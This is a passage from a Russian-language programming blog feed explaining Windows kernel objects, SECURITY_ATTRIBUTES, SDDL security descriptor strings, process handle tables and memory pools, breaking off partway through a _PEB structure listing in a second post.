<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="294085445"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="294085445" style="height: 110px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
</pre></td><td class="de1"><pre class="de1"><span class="kw4">typedef</span> <span class="kw4">struct</span> _SECURITY_ATTRIBUTES <span class="br0">&#123;</span>
&nbsp; DWORD &nbsp;nLength<span class="sy4">;</span>
&nbsp; LPVOID lpSecurityDescriptor<span class="sy4">;</span>
&nbsp; BOOL &nbsp; bInheritHandle<span class="sy4">;</span>
<span class="br0">&#125;</span> SECURITY_ATTRIBUTES, <span class="sy2">*</span>PSECURITY_ATTRIBUTES, <span class="sy2">*</span>LPSECURITY_ATTRIBUTES<span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Несмотря на то, что эта структура называется SECURITY_ATTRIBUTES, на самом деле она включает только один член, имеющий какое-либо отношение к безопасности: lpSecurityDescriptor.<br />
Если требуется ограничить доступ к создаваемому объекту ядра, необходимо создать дескриптор безопасности, а затем инициализировать структуру SECURITY_ATTRIBUTES следующим образом:<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="909190037"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="909190037" style="height: 190px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="de1"><pre class="de1">PSECURITY_DESCRIPTOR pProcessSecurityDescriptor, pThreadSecurityDescriptor<span class="sy4">;</span>
&nbsp;
SECURITY_ATTRIBUTES ProcessAttributes<span class="br0">&#123;</span> <span class="kw3">sizeof</span><span class="br0">&#40;</span>SECURITY_ATTRIBUTES<span class="br0">&#41;</span> <span class="br0">&#125;</span><span class="sy4">;</span>
ProcessAttributes.<span class="me1">lpSecurityDescriptor</span> <span class="sy1">=</span> pProcessSecurityDescriptor<span class="sy4">;</span>
&nbsp;
SECURITY_ATTRIBUTES ThreadAttributes<span class="br0">&#123;</span> <span class="kw3">sizeof</span><span class="br0">&#40;</span>SECURITY_ATTRIBUTES<span class="br0">&#41;</span> <span class="br0">&#125;</span><span class="sy4">;</span>
ThreadAttributes.<span class="me1">lpSecurityDescriptor</span> <span class="sy1">=</span> pThreadSecurityDescriptor<span class="sy4">;</span>
&nbsp;
CreateProcess<span class="br0">&#40;</span>ApplicationName, <span class="kw2">nullptr</span>, <span class="sy3">&amp;</span>ProcessAttributes, <span class="sy3">&amp;</span>ThreadAttributes,
&nbsp; &nbsp; FALSE, CREATE_SUSPENDED, <span class="kw2">nullptr</span>, <span class="kw2">nullptr</span>, <span class="sy3">&amp;</span>StartupInfo, <span class="sy3">&amp;</span>ProcInfo<span class="br0">&#41;</span><span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div><font size="1">*PSECURITY_DESCRIPTOR в данном случае определен как LPVOID, не путайте со структурой <a rel="nofollow noopener noreferrer" href="https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-security_descriptor" target="_blank" title="https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-security_descriptor">PISECURITY_DESCRIPTOR</a></font><br />
<br />
Существуют два способа получить инициализированный Security Descriptor:<br />
- наследовать уже созданный дескриптор безопасности другим процессом<br />
- сформировать специальную строку типа SDDL (Security Descriptor Definition Language) и конвертировать её в указатель с помощью функции ConvertStringSecurityDescriptorToSecurit yDescriptor<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="479367888"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="479367888" style="height: 126px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
</pre></td><td class="de1"><pre class="de1">BOOL ConvertStringSecurityDescriptorToSecurityDescriptorW<span class="br0">&#40;</span>
&nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> &nbsp;LPCWSTR &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;StringSecurityDescriptor,
&nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> &nbsp;DWORD &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;StringSDRevision,
&nbsp; <span class="br0">&#91;</span>out<span class="br0">&#93;</span> PSECURITY_DESCRIPTOR <span class="sy2">*</span>SecurityDescriptor,
&nbsp; <span class="br0">&#91;</span>out<span class="br0">&#93;</span> PULONG &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SecurityDescriptorSize
<span class="br0">&#41;</span><span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Рассмотрим следующую SDDL строку<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="657630391"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="657630391" style="height: 62px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
</pre></td><td class="de1"><pre class="de1">LPCWSTR StringSecurityDescriptor <span class="sy1">=</span> TEXT<span class="br0">&#40;</span><span class="st0">&quot;O:BAG:BAD:(A;;CCDCLCSWRP;;;SY)(A;;CCDCLCSWRP;;;BA)&quot;</span>
&nbsp; &nbsp; <span class="st0">&quot;(A;;CCDCLCSWRP;;;IU)(A;;CCDCLCSWRP;;;LS)(A;;0xb;;;AC)S:(ML;;NX;;;LW)&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Первое на что необходимо обратить внимание - это на двоеточие, оно служит разделением для групп<br />
<div class="codeblock"><table class="unknown"><thead><tr><td colspan="2" id="840205870"  class="head">Code</td></tr></thead><tbody><tr class="li1"><td><div id="840205870" style="height: 94px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
</pre></td><td class="de1"><pre class="de1">O:owner_sid
G:group_sid
D:<span class="br0">&#40;</span>string_ace1<span class="br0">&#41;</span><span class="br0">&#40;</span>string_ace2<span class="br0">&#41;</span>... <span class="br0">&#40;</span>string_aceN<span class="br0">&#41;</span>
S:<span class="br0">&#40;</span>string_ace1<span class="br0">&#41;</span><span class="br0">&#40;</span>string_ace2<span class="br0">&#41;</span>... <span class="br0">&#40;</span>string_aceN<span class="br0">&#41;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Каждый string_ace заключен в круглые скобки и имеет следующую структуру:<br />
<div class="codeblock"><table class="unknown"><thead><tr><td colspan="2" id="406973649"  class="head">Code</td></tr></thead><tbody><tr class="li1"><td><div id="406973649" style="height: 46px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
</pre></td><td class="de1"><pre class="de1"><span class="br0">&#40;</span>ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid<span class="br0">&#41;</span></pre></td></tr></table></div></td></tr></tbody></table></div><b>Допустимые типы ace_type</b><br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7497&amp;d=1651049864" rel="Lightbox" id="attachment7497" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7497&amp;thumb=1&amp;d=1651049864" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 1.gif
Просмотров: 394
Размер:	17.0 Кб
ID:	7497" style="margin: 5px" /></a><br />
<br />
<b>Разрешенные ace_flags</b><br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7498&amp;d=1651049864" rel="Lightbox" id="attachment7498" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7498&amp;thumb=1&amp;d=1651049864" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 2.gif
Просмотров: 343
Размер:	19.5 Кб
ID:	7498" style="margin: 5px" /></a><br />
<br />
<b>Набор rights (общие права, права доступа к файлам и папкам, особые права реестра и сервисов)</b><br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7499&amp;d=1651049864" rel="Lightbox" id="attachment7499" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7499&amp;thumb=1&amp;d=1651049864" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 3.gif
Просмотров: 334
Размер:	23.3 Кб
ID:	7499" style="margin: 5px" /></a> <a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7500&amp;d=1651049864" rel="Lightbox" id="attachment7500" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7500&amp;thumb=1&amp;d=1651049864" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 4.gif
Просмотров: 314
Размер:	13.8 Кб
ID:	7500" style="margin: 5px" /></a> <a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7501&amp;d=1651049864" rel="Lightbox" id="attachment7501" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7501&amp;thumb=1&amp;d=1651049864" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 5.gif
Просмотров: 311
Размер:	15.8 Кб
ID:	7501" style="margin: 5px" /></a><br />
<br />
<b>object_guid</b> и <b>inherit_object_guid</b> используются для определения безопасности объектов в Active Directory.<br />
Они не используются при защите файловой системы или реестра. «OA» и «OD» в поле ace_type строки ACE соответствуют ACE, разрешающему и запрещающему объект, соответственно.<br />
В этом случае object_guid содержит GUID объекта, которому разрешено, а inherit_object_guid содержит GUID объекта, от которого он наследует разрешения.<br />
<br />
Поле <b>account_sid</b> в структуре ACE обозначает участника безопасности, которому предоставлены или запрещены права доступа, указанные в ACE.<br />
Поле account_sid может содержать SID, который представляет собой длинный структурированный идентификатор, который практически не имеет смысла для человека, или сокращенное обозначение «строка SID» для обычной учетной записи<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7504&amp;d=1651052490" rel="Lightbox" id="attachment7504" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7504&amp;thumb=1&amp;d=1651052490" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 7.gif
Просмотров: 383
Размер:	214.8 Кб
ID:	7504" style="margin: 5px" /></a><br />
<br />
Список SID строк можно расшифровать на сайте <a rel="nofollow noopener noreferrer" href="https://docs.microsoft.com/en-us/windows/win32/secauthz/sid-strings" target="_blank" title="https://docs.microsoft.com/en-us/windows/win32/secauthz/sid-strings">MSDN</a><br />
Список ACE строк можно расшифровать на сайте <a rel="nofollow noopener noreferrer" href="https://docs.microsoft.com/en-us/windows/win32/secauthz/ace-strings" target="_blank" title="https://docs.microsoft.com/en-us/windows/win32/secauthz/ace-strings">MSDN</a><br />
<br />
Таким образом:<br />
<code class="inlinecode">O:BA</code> - владелец (Owner) данного дескриптора безопасности является SDDL_BUILTIN_ADMINISTRATORS (DOMAIN_ALIAS_RID_ADMINS)<br />
<code class="inlinecode">G:BA</code> - группа (Group), в которую входит дескриптор безопасности, также является SDDL_BUILTIN_ADMINISTRATORS (DOMAIN_ALIAS_RID_ADMINS)<br />
<br />
Список управления доступом на уровне пользователя DACL (Discretionary Access Control List)<br />
<code class="inlinecode">D:(A;;CCDCLCSWRP;;;SY)(A;;CCDCLCSWRP;;;BA)(A;;CCDCLCSWRP;;;IU)(A;;CCDCLCSWRP;;;LS)(A;;0xb;;;AC)</code><br />
<br />
И системный список управления доступом SACL (System Access Control List)<br />
<code class="inlinecode">S:(ML;;NX;;;LW)</code><br />
<br />
Следовательно для первой части DACL получается следующая расшифровка (данный DACL относится к группе Directory service object):<br />
A - SDDL_ACCESS_ALLOWED (флаг ACCESS_ALLOWED_ACE_TYPE)<br />
CC - SDDL_CREATE_CHILD (флаг ADS_RIGHT_DS_CREATE_CHILD)<br />
DC - SDDL_DELETE_CHILD (флаг ADS_RIGHT_DS_DELETE_CHILD)<br />
LC - SDDL_LIST_CHILDREN (флаг ADS_RIGHT_ACTRL_DS_LIST)<br />
SW - SDDL_SELF_WRITE (флаг ADS_RIGHT_DS_SELF)<br />
RP - SDDL_READ_PROPERTY (флаг ADS_RIGHT_DS_READ_PROP)<br />
SY - SDDL_LOCAL_SYSTEM (SECURITY_LOCAL_SYSTEM_RID)<br />
<br />
и для SACL<br />
ML - SDDL_MANDATORY_LABEL (флаг SYSTEM_MANDATORY_LABEL_ACE_TYPE)<br />
NX - SDDL_NO_EXECUTE_UP (флаг SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP)<br />
LW - Low Mandatory Level (SID S-1-16-4096)<br />
<br />
<b>Метки целостности</b><br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7502&amp;d=1651049883" rel="Lightbox" id="attachment7502" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7502&amp;thumb=1&amp;d=1651049883" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 6.gif
Просмотров: 363
Размер:	29.9 Кб
ID:	7502" style="margin: 5px" /></a><br />
<br />
Моя программа KernelExplorer (её консольная версия) выводит всю возможную информацию об ACL<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7223&amp;d=1636789755" rel="Lightbox" id="attachment7223" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7223&amp;thumb=1&amp;d=1636789755" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 4.png
Просмотров: 582
Размер:	43.7 Кб
ID:	7223" style="margin: 5px" /></a> <a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7224&amp;d=1636789755" rel="Lightbox" id="attachment7224" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7224&amp;thumb=1&amp;d=1636789755" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 5.png
Просмотров: 535
Размер:	77.7 Кб
ID:	7224" style="margin: 5px" /></a><br />
По мере нахождения новых комбинаций ACE флагов я обновляю код, поэтому возможно заместо текстового представления флагов будет отображаться его цифровое представление.<br />
<font size="1">*В данный момент занят адаптацией информации о ACL для GUI версии.</font><br />
<br />
<u>Таблица дескрипторов объекта ядра процесса.</u><br />
В первой части я вскользь упомянул, что каждый дескриптор имеет записи во внутренней таблице, которые содержат адреса ресурсов и средства идентификации типа ресурса.<br />
Когда процесс инициализируется, система выделяет для него таблицу дескрипторов.<br />
Эта таблица дескрипторов используется только для объектов ядра, User object или GDI object не имеют доступа к ней.<br />
Подробности того, как структурирована и управляется таблица дескрипторов не документированы.<br />
Но при этом, структуру таблицы дескрипторов процесса схематично можно представить следующим образом<br />
<div class="codeblock"><table class="unknown"><thead><tr><td colspan="2" id="87083353"  class="head">Code</td></tr></thead><tbody><tr class="li1"><td><div id="87083353" style="height: 110px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
</pre></td><td class="de1"><pre class="de1">Index &nbsp; Pointer to Kernel Object Memory Block &nbsp; Access Mask Flags
<span class="nu0">1</span> &nbsp; 0x0000000000000000&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x00000000&nbsp; 0x00000000
<span class="nu0">2</span> &nbsp; 0x0000000000000000&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x00000000&nbsp; 0x00000000
...
n &nbsp; 0x0000000000000000&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0x00000000&nbsp; 0x00000000</pre></td></tr></table></div></td></tr></tbody></table></div>Каждая структура содержит указатель на объект ядра, маску доступа и набор флагов.<br />
При первой инициализации процесса его таблица дескрипторов пуста.<br />
Затем, когда поток в процессе вызывает функцию, которая создает объект ядра, ядро ОС выделяет блок памяти для объекта и инициализирует его.<br />
Ядро ОС сканирует таблицу дескрипторов процесса на наличие пустой записи.<br />
Для указателя будет установлен адрес внутренней памяти структуры данных объекта ядра.<br />
Для маски доступа будет установлен гарантированный доступ (granted access).<br />
Набор флагов соответственно устанавливается из переданного Security Descriptor, а в случае NULL - устанавливается безопасность по умолчанию.<br />
<br />
Все функции, создающие объекты ядра, возвращают относительные к процессу дескрипторы.<br />
Это значение дескриптора является индексом в таблице дескрипторов процесса, который определяет, где хранится информация об объекте ядра.<br />
Когда вызывается функция, которая принимает дескриптор объекта ядра в качестве аргумента, происходит передача значения.<br />
Внутри функция просматривает таблицу дескрипторов процесса, чтобы получить адрес объекта ядра, с которым необходимо взаимодействовать.<br />
<br />
<u>Пулы памяти.</u><br />
Выгружаемый и невыгружаемый пулы служат ресурсами памяти, которые ОС использует для хранения своих структур данных.<br />
<b>Невыгружаемый пул (Non-paged pool)</b> - используется операционной системой для хранения данных.<br />
Ядро ОС взаимодействует с невыгружаемым пулом когда выполняются подпрограммы обслуживания прерываний (ISR) и отложенные вызовы процедур (DPC), которые являются функциями, связанными с прерываниями.<br />
Примерами могут служить такие системные прерывания, как переключение режима UserMode в KernelMode - syscall либо sysenter (в Windows XP данное прерывание обозначалось int 2e и в ntdll.dll сохранилось в качестве совместимости с более старым ПО).<br />
Невыгружаемый пул расположен только в физической памяти, а виртуальной памяти невыгружаемого пула назначается физическая память.<br />
Общие системные структуры данных, хранящиеся в невыгружаемом пуле, включают ядро ОС ​​и объекты ядра, которые представляют процессы, потоки, мьютексы, семафоры, события, файловые объекты, IRP и др.<br />
<b>Выгружаемый пул (Paged pool)</b> - буфер памяти операционной системы, куда записываются данные файла подкачки, позволяя переориентировать физическую память.<br />
Когда ОС обращается к памяти выгружаемого пула, которая находится в файле подкачки, происходит системное исключение Page fault, и затем диспетчер памяти считывает данные обратно в физическую память.<br />
Из всех объектов ядра реестр (Registry) является основным программным средством, использующим выгружаемый пул.<br />
<br />
Важно понимать, что к физической памяти из пользовательского режима доступа нет.<br />
Также как системные потоки не имеют адресного пространства пользовательского режима.<br />
Физической памятью оперирует только ядро ОС, пользователю для этого отведено виртуальное адресное пространство.<br />
Взаимодействие виртуального адресного пространства с физической памятью осуществляется пулами и кучами (Heap) и только функциями ядра ОС.<br />
Поэтому, выделяя память какой-нибудь VirtualAlloc (или любой другой аналогичной функцией), вы даже близко не находитесь к оперативной памяти, физически установленной в компьютере.<br />
<br />
Для саморазвития:<br />
неплохая статья от <a rel="nofollow noopener noreferrer" href="https://docs.microsoft.com/en-us/archive/msdn-magazine/2008/november/access-control-understanding-windows-file-and-registry-permissions" target="_blank" title="https://docs.microsoft.com/en-us/archive/msdn-magazine/2008/november/access-control-understanding-windows-file-and-registry-permissions">Джона Р. Миченера - &quot;Понимание прав доступа к файлам и реестру Windows&quot;</a><br />
<br />
<a href="https://www.cyberforum.ru/blogs/172954/blog7372.html">Объекты операционной системы. Часть 3: Уровень целостности</a><br />
<br />
PS: если интересно, параллельно я веду тему в разделе Windows 11 по исследованию комплекса безопасности Windows <a href="https://www.cyberforum.ru/windows11/thread2893923.html">Как работает комплекс мер Безопасность Windows</a></div>

]]></content:encoded>
			<dc:creator>_lunar_</dc:creator>
			<guid isPermaLink="true">https://www.cyberforum.ru/blogs/172954/7338.html</guid>
		</item>
		<item>
			<title>Объекты операционной системы. Часть 1: Общие сведения</title>
			<link>https://www.cyberforum.ru/blogs/172954/7337.html</link>
			<pubDate>Thu, 11 Nov 2021 21:09:50 GMT</pubDate>
			<description>В этом блоге я решил затронуть такую тему, как объекты операционной системы семейства Windows....</description>
			<content:encoded><![CDATA[<div>В этом блоге я решил затронуть такую тему, как объекты операционной системы семейства Windows.<br />
Очень часто начинающие программисты, да и обычные пользователи, не могут прийти к пониманию - что есть объект и для чего нужен дескриптор объекта.<br />
Материал даётся с учётом того, читающий данный блог уверенно разбирается в языках программирования C и C++, а также знает основы внутренней архитектуры ОС Windows.<br />
<br />
Начнём с определения объекта.<br />
<b>Объект</b> - это структура данных, расположенная в памяти, которая представляет собой ресурсы системы.<br />
Объектами можно считать: файл, поток, токен, окно, таймер и др.<br />
Современные операционные системы (да и процессоры со своими режимами real mode, protected mode и т.д.) устроены таким образом, что приложение не может напрямую обратиться к данным объекта или системному ресурсу.<br />
Каждый объект имеет свой собственный список управления доступом (ACL*), определяющий действия, которые процесс может выполнять над объектом.<br />
<font size="1"><i>*Система проверяет ACL объекта каждый раз, когда приложение создает дескриптор объекта.</i></font><br />
<br />
Чтобы обратиться к данным объекта нужен некий контейнер, который будет служить своего рода описателем между тем, что хранится в объекте и тем, что запрашивает приложение* от системного ресурса этого объекта.<br />
<font size="1"><i>*Простой пример - чтение виртуальной памяти какого-либо процесса по определенному адресу.</i></font><br />
<br />
Этим описателем является дескриптор.<br />
<b>Дескриптор</b> - это описатель (контейнер) процесса, который содержит идентификатор процесса, область памяти, где размещен сегмент кода, данные приоритетности процесса, данные о состоянии процесса.<br />
Каждый дескриптор имеет запись во внутренней таблице. Эти записи содержат адреса ресурсов и средства идентификации типа ресурса.<br />
<br />
Существуют три группы (категории) объектов:<br />
- <b>User object</b> (пользовательский объект)<br />
- <b>GDI object</b> (объект графического интерфейса (или объект GDI))<br />
- <b>Kernel object</b> (объект ядра)<br />
Система использует пользовательские объекты для управления окнами, объекты GDI для графики, а объекты ядра для управления памятью, выполнения процессов и межпроцессного взаимодействия (IPC).<br />
К пользовательским объектам можно отнести: Hook, Icon, Menu, Window и др.<br />
К объект графического интерфейса относятся: Bitmap, Brush, Font, Pen, Metafile и др.<br />
К объектам ядра - Token, Desktop, Event, File, Heap, Module, Mutex, Pipe, Process, Thread, Semaphore, Window station и др.<br />
<br />
Разберёмся в основах каждой категории в отдельности.<br />
<b>User object.</b> Объекты пользовательского интерфейса поддерживают только один дескриптор для каждого объекта.<br />
Процессы не могут наследовать или дублировать дескрипторы пользовательских объектов.<br />
Процессы в одном сеансе (session 1)* не могут ссылаться на дескриптор пользователя в другом сеансе (session 2).<br />
<font size="1"><i>*Более подробно о сессиях (сеансах) можно прочитать в моих предыдущих блогах по исследованию сервиса UI0Detect.</i></font><br />
<br />
Дескрипторы пользовательских объектов общедоступны для всех процессов.<br />
Любой процесс может использовать дескриптор объекта пользователя при условии, что у процесса есть безопасный доступ (security access) к объекту.<br />
Схематично объект и его дескриптор можно представить следующим образом:<br />
<a href="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7216&amp;d=1636632481" rel="Lightbox" id="attachment7216" ><img src="https://www.cyberforum.ru/blog_attachment.php?attachmentid=7216&amp;thumb=1&amp;d=1636632481" class="thumbnail" border="0" alt="Нажмите на изображение для увеличения
Название: 1.png
Просмотров: 514
Размер:	1.4 Кб
ID:	7216" style="margin: 5px" /></a><br />
Функция CreateWindow<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="778794644"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="778794644" style="height: 238px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="de1"><pre class="de1">HWND CreateWindowW<span class="br0">&#40;</span>
&nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> LPCWSTR &nbsp; lpClassName,
&nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> LPCWSTR &nbsp; lpWindowName,
&nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DWORD &nbsp; &nbsp; dwStyle,
&nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">int</span> &nbsp; &nbsp; &nbsp; X,
&nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">int</span> &nbsp; &nbsp; &nbsp; Y,
&nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">int</span> &nbsp; &nbsp; &nbsp; nWidth,
&nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">int</span> &nbsp; &nbsp; &nbsp; nHeight,
&nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> HWND &nbsp; &nbsp; &nbsp;hWndParent,
&nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> HMENU &nbsp; &nbsp; hMenu,
&nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> HINSTANCE hInstance,
&nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> LPVOID &nbsp; &nbsp;lpParam
<span class="br0">&#41;</span><span class="sy4">;</span></pre></td></tr></table></div></td></tr></tbody></table></div>создает объект окна (Window object) и возвращает дескриптор объекта (Handle).<br />
Как можно видеть Window object хранится в ресурсах системы (в данном случае в виртуальной памяти).<br />
После создания объекта окна приложение может использовать дескриптор окна (Handle) для отображения и\или изменения окна.<br />
Дескриптор остается действительным до тех пор, пока объект окна не будет уничтожен функцией DestroyWindow.<br />
Типичным примером пользовательского объекта могут служить данные процесса уровня <b>UserMode.</b><br />
В таком случае, объектом выступает структура _PEB (реверс ядра (lkd&gt; dt nt!_PEB) Windows 11 сборка 10.0.22000.318, формат данной структуры меняется от версии к версии ОС Windows)<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="908275162"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="908275162" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
</pre></td><td class="de1"><pre class="de1"><span class="kw4">typedef</span> <span class="kw4">struct</span> _PEB
<span class="br0">&#123;</span>
&nbsp; &nbsp; BOOLEAN InheritedAddressSpace<span class="sy4">;</span>
&nbsp; &nbsp; BOOLEAN ReadImageFileExecOptions<span class="sy4">;</span>
&nbsp; &nbsp; BOOLEAN BeingDebugged<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw4">union</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; BOOLEAN BitField<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">struct</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; BOOLEAN ImageUsesLargePages <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; BOOLEAN IsProtectedProcess <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; BOOLEAN IsImageDynamicallyRelocated <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; BOOLEAN SkipPatchingUser32Forwarders <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; BOOLEAN IsPackagedProcess <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; BOOLEAN IsAppContainer <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; BOOLEAN IsProtectedProcessLight <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; BOOLEAN IsLongPathAwareProcess <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; HANDLE Mutant<span class="sy4">;</span>
&nbsp; &nbsp; PVOID ImageBaseAddress<span class="sy4">;</span>
&nbsp; &nbsp; PPEB_LDR_DATA Ldr<span class="sy4">;</span>
&nbsp; &nbsp; PRTL_USER_PROCESS_PARAMETERS ProcessParameters<span class="sy4">;</span>
&nbsp; &nbsp; PVOID SubSystemData<span class="sy4">;</span>
&nbsp; &nbsp; PVOID ProcessHeap<span class="sy4">;</span>
&nbsp; &nbsp; PRTL_CRITICAL_SECTION FastPebLock<span class="sy4">;</span>
&nbsp; &nbsp; PSLIST_HEADER AtlThunkSListPtr<span class="sy4">;</span>
&nbsp; &nbsp; PVOID IFEOKey<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw4">union</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; ULONG CrossProcessFlags<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">struct</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ULONG ProcessInJob <span class="sy4">:</span> <span class="nu0">1</span><span class="sy4">;</span>
